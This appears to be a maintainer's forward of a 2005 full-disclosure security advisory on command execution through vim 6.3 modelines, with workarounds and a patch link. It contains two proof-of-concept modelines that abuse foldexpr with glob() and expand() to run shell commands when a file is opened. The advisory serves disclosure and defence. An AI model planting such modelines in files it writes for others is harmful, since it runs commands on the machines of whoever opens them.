We received the following report via full-disclosure.
The issue is public.
We didn't fix modeline stuff in released distros in the past but it's increasingly making
me nervous. Couldn't vim just ask whether it should execute modlines?

Date: Mon, 25 Jul 2005 18:33:00 +0300
From: Georgi Guninski <guninski@guninski.com>
To: full-disclosure@lists.grok.org.uk
Subject: [Full-disclosure] Help poor children in Uganda

Georgi Guninski security advisory #75, 2005

Help poor children in Uganda

Systems affected:
vim 6.3

Date: 25 July 2005

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Description:

open file in vim 6.3 < 6.3.082 with modelines on, got owned.

Details:

--1--
vim: foldmethod=expr:foldexpr=glob("`touch\ /tmp/where_do_you_want_bill_gates_to_go_today\?`"):
cannot be used in vulnerability databases.
-----

--2--
vim: foldmethod=expr:foldexpr=expand("$(touch$IFS/tmp/where_do_you_want_billg_to_go\?)"):
cannot be used in vulnerability databases.
-----

Workaround:

1. (preferred)
Disable modelines via
set modelines=0
and/or
set nomodeline
in .vimrc

or
2.
upgrade to 6.3.082 - patch available at:
ftp://ftp.vim.org/pub/vim/patches/6.3/

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